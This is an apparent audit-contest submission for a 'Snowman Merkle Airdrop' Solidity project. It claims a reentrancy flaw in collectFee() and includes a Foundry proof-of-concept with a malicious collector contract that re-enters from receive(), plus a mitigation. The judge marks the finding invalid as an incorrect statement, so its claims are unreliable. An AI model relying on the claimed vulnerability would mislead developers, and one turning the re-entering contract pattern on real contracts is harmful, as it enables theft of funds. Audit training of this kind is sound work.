Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy Vulnerability in collectFee()


Description

  • The collectFee() function sends ETH before updating state (Checks-Effects-Interactions pattern violated).

function collectFee() external onlyCollector {
uint256 collection = i_weth.balanceOf(address(this));
i_weth.transfer(s_collector, collection); // Not using SafeERC20.safeTransfer
// External call to collector (potential reentrancy point)
@> (bool collected,) = payable(s_collector).call{value: address(this).balance}("");
require(collected, "Fee collection failed!!!");
}

Risk

Likelihood:

  • After deploy this contract on chain. Attacker can reenter

Impact:

  • Collector can drain contract via reentrancy

Proof of Concept

Make a file on the test folder and paste the code

This code with a spacial contract can reenter the contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {DeploySnow} from "../script/DeploySnow.s.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
contract AllVulnerabilitiesPoC is Test {
// Snow.sol contracts
Snow snow;
DeploySnow deployer;
MockWETH weth;
address collector;
uint256 FEE;
// Snowman.sol and SnowmanAirdrop.sol contracts
Snowman snowman;
SnowmanAirdrop airdrop;
bytes32 merkleRoot = bytes32(0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef);
// Test addresses
address alice;
address bob;
address charlie;
address attacker;
function setUp() public {
// Deploy Snow.sol contracts
deployer = new DeploySnow();
snow = deployer.run();
weth = deployer.weth();
collector = deployer.collector();
FEE = deployer.FEE();
// Deploy Snowman.sol and SnowmanAirdrop.sol contracts
snowman = new Snowman("ipfs://snowman");
airdrop = new SnowmanAirdrop(merkleRoot, address(snow), address(snowman));
// Create test addresses
alice = makeAddr("alice");
bob = makeAddr("bob");
charlie = makeAddr("charlie");
attacker = makeAddr("attacker");
// Fund users
deal(alice, 100 ether);
deal(bob, 100 ether);
deal(charlie, 100 ether);
deal(attacker, 100 ether);
weth.mint(alice, 100 * FEE);
weth.mint(bob, 100 * FEE);
weth.mint(charlie, 100 * FEE);
weth.mint(attacker, 100 * FEE);
}
/// @notice PoC: Reentrancy pattern exists in collectFee()
function test_Snow_ReentrancyInCollectFee() public {
vm.prank(alice);
weth.approve(address(snow), FEE);
vm.prank(alice);
snow.buySnow{value: FEE}(1);
MaliciousCollector malicious = new MaliciousCollector(snow);
vm.prank(collector);
snow.changeCollector(address(malicious));
vm.prank(address(malicious));
snow.collectFee();
}}
/**
* @notice Malicious collector contract for reentrancy demonstration
*/
contract MaliciousCollector {
Snow public snow;
uint256 public attackCount;
constructor(Snow _snow) {
snow = _snow;
}
receive() external payable {
if (attackCount < 2 && address(snow).balance > 0) {
attackCount++;
snow.collectFee();
}
}
}

Recommended Mitigation

Use ReentrancyGuard for prottect the contract from attacker

Use Safetransfer for transfer the collectFee

function collectFee() external nonReentrant { // Add ReentrancyGuard
if (msg.sender != s_collector) revert S__PermissionDenied();
uint256 wethBalance = weth.balanceOf(address(this));
uint256 ethBalance = address(this).balance;
// Transfer WETH first (safer)
SafeERC20.safeTransfer(weth, s_collector, wethBalance);
// Then ETH
(bool success,) = s_collector.call{value: ethBalance}("");
if (!success) revert TransferFailed();
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!